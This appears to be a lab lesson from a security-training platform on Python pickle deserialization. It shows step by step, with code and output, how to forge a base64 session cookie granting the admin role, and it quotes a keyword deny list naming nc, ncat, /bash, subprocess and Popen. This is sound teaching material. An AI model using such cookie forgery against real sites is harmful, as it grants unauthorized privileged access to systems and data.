Introduction to Deserialization Attacks  

Object Injection (Python)


Setting our Role

In the previous section, we identified a cookie that contains a serialized util.auth.Session object, which is deserialized each time a user tries to load a page. We saw in the definition for util.auth.Session that isAdmin() returns true if self.role is set to 'admin':

...
    def isAdmin(self):
        return self.role == 'admin'
...

Since cookies are user-controlled data, our first objective is to forge an authentication cookie so that we have the admin role instead of the current user so that isAdmin() will return true and we may access the Admin Panel.

For this exploit, we will need to set up the folder structure to be the same as the project:

[!bash!]$ tree exploit/

exploit/
├── exploit-admin.py
└── util
    └── auth.py

1 directory, 2 files

In the real util/auth.py, the role is selected from the SQLite database, but in our exploit/util/auth.py we want to be able to specify the role, so we will just recreate the structure of Session and define our own constructor where it accepts username and role as parameters. When a class is serialized in Python, the functions defined inside don't matter, only the value of the variables, so we can delete the rest of the functions. Lastly we will copy the util.auth.sessionToCookie and util.auth.cookieToSession functions.

import pickle
import base64

class Session:
    def __init__(self, username, role):
        self.username = username
        self.role = role

def sessionToCookie(session):
    p = pickle.dumps(session)
    b = base64.b64encode(p)
    return b

def cookieToSession(cookie):
    b = base64.b64decode(cookie)
    for badword in [b"nc", b"ncat", b"/bash", b"/sh", b"subprocess", b"Popen"]:
        if badword in b:
            return None
    p = pickle.loads(b)
    return p

With our version of util/auth.py ready, we can work on our main exploit file (exploit-admin.py). We will instantiate a session with an arbitrary username and the admin role and call util.auth.sessionToCookie so we can get the corresponding cookie:

import util.auth

s = util.auth.Session("attacker", "admin")
c = util.auth.sessionToCookie(s)
print(c.decode())

If we run this exploit, we will get a base64-encoded value:

[!bash!]$ python3 exploit-admin.py 

gASVRgAAAAAAAACMCXV...SNIP...b2xllIwFYWRtaW6UdWIu

Testing Locally

Before we run any attacks against the live target, we will test it out locally, like in the PHP sections.

[!bash!]$ python3

Python 3.10.7 (main, Oct  1 2022, 04:31:04) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import util.auth
>>> s = util.auth.cookieToSession('gASVRgAAAAAAAACMCXV...SNIP...b2xllIwFYWRtaW6UdWIu')
>>> s.username 
'attacker'
>>> s.role
'admin'

We see in the output that s.role was set to admin, so this attack should work.

Running against the Target

We can now overwrite the value of the auth_8bH3mjF6n9 cookie in our browser and try (re-)loading the admin panel to see if it worked, and we can see it has. The website deserialized the cookie we generated and now thinks we are a user named attacker with the admin role.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next